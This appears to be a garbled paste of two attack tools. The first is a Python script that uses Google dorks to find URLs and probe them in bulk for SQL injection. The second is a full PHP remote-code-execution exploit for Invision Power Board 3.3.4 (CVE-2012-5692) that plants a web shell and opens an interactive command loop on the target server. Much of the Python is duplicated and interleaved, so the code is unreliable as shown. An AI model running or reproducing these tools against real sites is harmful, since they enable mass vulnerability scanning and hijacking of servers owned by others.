#!/usr/bin/python #    Copyright (C) 2010 <xrrrx@ymail.com> #    This program is free software: you can redistribute it and/or modify #    it under the terms of the GNU General Public License as published by #    the Free Software Foundation, either version 3 of the License, or #    at your option) any later version. #     #    This program is distributed in the hope that it will be useful, #    but WITHOUT ANY WARRANTY; without even the implied warranty of #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the #    GNU General Public License for more details. #     #    You should have received a copy of the GNU General Public License #    along with this program.  If not, see <http://www.gnu.org/licenses/>. 
from multiprocessing import Process from xgoogle.search import GoogleSearch, SearchError
from itertools import count
import urllib2from itertools import count import urllib2, sys, argparse

global strSQLi

strSQLi 
strSQLi = ["error in your SQL syntax", # GENERIC
                      "Syntax error at", # GENERIC
                      "You have an error in your SQL", # MYSQL
                      "Division by zero in", # MYSQL
                      "not a valid MySQL result", # MYSQL
                      "Call to a member function", # MYSQL
                      "Microsoft JET Database", # MSACCESS
                      "ODBC Microsoft Access Driver" # MSACCESS
                      "Microsoft OLE DB Provider for SQL Server", # MSSQL
                      "Unclosed quotation mark", # MSSQL
                      "Microsoft OLE DB Provider for Oracle", # ORACLE
                      "Macromedia][SQLServer JDBC Driver]"] # COLDFUSION

def split(alist, wanted_parts=1):
        length = len(alist)
    return [     return [ alist[i*length // wanted_parts: (i+1)*length // wanted_parts]
                          for i in range(wanted_parts) ]

def checkSQLi(results, i):
        # test single quote
        for result in results[i]:
        try:
            if(        try:             if(args.verbose>='2'):
                print                 print "[INFO] Testing URL: %s" % result.url
                        if not "=" in result.url:
                if(                if(args.verbose>='2'):
                    print                     print "[INFO] No params available for injection for: %s" % result.url
                                continue
                        response = urllib2.urlopen(result.url.replace("=", "='"))
                        html = response.read()
                except Exception, e:
            if(            if(args.verbose>='1'):
                print                 print "[ERROR] %s" % e
                        continue
                except KeyboardInterrupt:
            return             return False
                else:
            if(            if(checkSQLiStr(html)):
                    print                     print "[INFO] URL: %s" % result.url
                                        print "       Possible vulnerable!"
                        else:
                if(                if(args.verbose>='1'):
                    print                     print "[INFO] URL: %s" % result.url
                                        print "       Not vulnerable."
        return False

def checkSQLiStr
def checkSQLiStr(html):
    return     return any(checkStr in html for checkStr in strSQLi)

def main():
        tries = 0
        while True:
        try:
            if(        try:             if(args.verbose>='1' and tries > 0):
                print                 print "[WARNING] (%d) Retrying google search query" % tries
                        if(tries>=args.retry):
                if(                if(args.verbose>='1'):
                    print                     print "[ERROR] Maximum retries reached..."
                                sys.exit()
            else:
                            else:                 tries = tries + 1
            googleSearch             googleSearch = GoogleSearch(args.keyword)
                        googleSearch.page = args.page
            googleSearch            googleSearch.results_per_page = 100
                        print args.keyword
                        for i in count():
                                allResults = googleSearch.get_results()
                if                 if not allResults: # no more results (pages) were found
                                        break
                                splitResults = split(allResults, args.threads)
                                processes = [Process(target=checkSQLi, args=(splitResults,i)) for i in range(args.threads)]
                if(                if(args.verbose>='1'):
                    print                     print "[INFO] Starting %d threads..." % args.threads
                                for p in processes:
                                        p.start()
                for                 for p in processes:
                                        p.join()
                                tries = 0
                        print "Finished..."
                        sys.exit()
                        # finished
                except SearchError, e:
            if(            if(args.verbose>='2'):
                print                 print "[ERROR] Search failed: %s" % e
                        continue
                except KeyboardInterrupt:
            print             print "Suspended by user..."
                        sys.exit()

if 
if __name__ == '__main__':
        parser = argparse.ArgumentParser()
        parser.add_argument('-v', dest='verbose', default='0', help='Verbosity level', choices='012')
        parser.add_argument('-p', dest='page', type=int, default='0', help='Start google search from page')
        parser.add_argument('-s', dest='stop', type=int, default='5', help='Stop at -s page')
        parser.add_argument('-r', dest='retry', type=int, default='4', help='Amount of times to retry after google search timeout')
        parser.add_argument('-t', dest='threads', type=int, default='2', help='Threads for checking SQLi in query results')
        group = parser.add_argument_group('required arguments')
        group.add_argument('-k', dest='keyword', help='Keywords to use on google query', required=True)
        args = parser.parse_args()
    print     print "Starting..."
        main()
        sys.exit()  

http://argparse.googlecode.com/svn/trunk/argparse.py https://github.com/pkrumins/xgoogle (this one needs fixes,you can fix it yourself or download this one http://www.mediafire.com/?7a175lzzipm3x3s) 

usage: scanner.py [-h] [-v {0,1,2}] [-p PAGE] [-s STOP] [-r RETRY]
[-[-t THREADS] -k KEYWORD

optional arguments
optional arguments:
--h, --help show this help message and exit
--v {0,1,2} Verbosity level -p PAGE Start google search from page -s STOP Stop at -s page -r RETRY Amount of times to retry after google search timeout -t THREADS Threads for checking SQLi in query results

Example
Example: ./scanner.py -k 'somekeyword inurl:"php?id="' -t 5 -v 1   

<?php /* ---------------------------------------------------------------- Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution ---------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......:

http://www.invisionpower.com/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php 4015. static public function get($name) 4016. { 4017. // Check internal data first 4018. if ( isset( self::$_cookiesSet[ $name ] ) ) 4019. { 4020. return self::$_cookiesSet[ $name ]; 4021. } 4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) 4023. { 4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; 4025. 4026. if ( substr( $_value, 0, 2 ) == 'a:' ) 4027. { 4028. return unserialize( stripslashes( urldecode( $_value ) ) ); 4029. } The vulnerability is caused due to this method unserialize user input passed through cookies without a proper sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this reason successful exploitation of this vulnerability requires short_open_tag to be enabled. [-] Disclosure timeline: [21/10/2012] - Vulnerability discovered [23/10/2012] - Vendor notified [25/10/2012] - Patch released: http://community.invisionpower.com/t...ecurity-update [25/10/2012] - CVE number requested [29/10/2012] - Assigned CVE-2012-5692 [31/10/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set('default_socket_timeout', 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+---------------------------------------------------------------------+"; print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |"; print "\n+---------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /ipb/\n"; die(); } list($host, $path) = array($argv[1], $argv[2]); $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : ''; class db_driver_mysql { public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php'); } $payload = urlencode(serialize(array(new db_driver_mysql))); $phpcode = '<?error_reporting(0);print(___);passthru(base64_d ecode($_SERVER[HTTP_CMD]));die;?>'; $packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$_prefix}member_id={$payload}\r\n"; $packet .= "Connection: close\r\n\r\n"; http_send($host, $packet); $packet = "GET {$path}cache/sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n"); while(1) { print "\nipb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); }